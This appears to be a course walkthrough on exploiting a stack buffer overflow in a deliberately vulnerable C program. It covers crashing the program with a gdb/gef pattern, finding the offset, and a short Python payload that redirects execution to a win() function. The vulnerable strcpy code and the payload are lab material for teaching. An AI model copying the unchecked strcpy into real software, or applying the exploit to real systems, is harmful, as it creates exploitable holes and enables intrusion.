Stack Overflow Walkthrough
Recall the way the stack works:
- Note, this example assumes 4-byte memory words, but it works regardless of word size
void myfunction(char *src) { /* src is a ptr to a char string */ int var1, var2; /* 1 stack word used per integer */ char var3[4]; /* also 1 word for 4-byte buffer */ strcpy(var3, src); /* template: strcpy(dst, src) */}Our goal is to overwrite the return address and point it somewhere else.
Preliminaries
-
Install gef. This will make using gdb for exploits a lot simpler.
-
Use an x86-64 reference.
Vulnerable code
Here is the vulnerable code we’ll be using. This is taken from stack-overflow.c in the software security repo.
#include <stdio.h>#include <string.h>#include <stdlib.h>
void my_function(const char *);
void win(){ printf("You win!\n"); exit(0);}
int main(int argc, char **argv){ char buf[101];
printf("Enter a string: "); fgets(buf, 100, stdin);
my_function(buf);
printf("Exiting normally\n");}
void my_function(const char *src){ int var1 = 1; char copy[4]; strcpy(copy, src);}Causing a crash
Notice that the above code is using strcpy(). This means it should be easy to crash the program. Compile the vulnerable code, which results in an executable called stack. Run gdb ./stack and then generate a pattern: pattern create 100:
Now run the program and supply the pattern as input:
Once you hit enter, then gdb, using gef, will show you:
-
The top listing shows you registers, color-coded to show you which are affected by what we wrote on the stack.
- Notice that we can overwrite
$rsp, the stack pointer - Notice that we did not change
$rip, the instruction pointer. This is because the address we’ve given in$rspa 64-bit address and programs are capped at using 48-bit addresses.
- Notice that we can overwrite
-
The bottom listing shows you the stack.
- The program wrote the first four bytes of our pattern
aaaainto the local variablecopy. Usep copyto see its value. - Then it continued copying past the buffer and changed
var1to contain0x61616161, which is alsoaaaa. Usep varto see its value. - Then it copied
baaaaaaainto$rbp. - Then it copied
caaaaaaainto$rspand kept going onto the rest of the stack. - Notice that the stack is shown starting at
$rsp.
- The program wrote the first four bytes of our pattern
Now run pattern search caaaaaaad`:
You should see the offset from the buffer to $rsp, which in this case is 16. We can pretty easily see that ourselves, but pattern search simplifies things a bit, and you won’t always have the source code to work with.
Exploiting the vulnerability
In this case, we want to “win” by having the program execute the win() function. We can do that by overwriting the $rsp to point to the win() function. To get this address, use disassem win:
In this case, we can see that the address is 0x4011b6.
At this point, use a small program we have written, called exploit.py:
#!/usr/bin/env python3import sys
NUM = 16
payload = b"A" * NUM + b'\xb6\x11\x40\x00\x00\x00\x00\x00'sys.stdout.buffer.write(payload)print()This writes out the number of A characters specified, followed by our address, which is in reverse order because the machine is little endian. You can execute this program using: python exploit.py > payload.txt.
Now go back to gdb and provide this as input, using r < payload.txt:
You can also run this on the command line to verify it works: ./stack < payload.txt.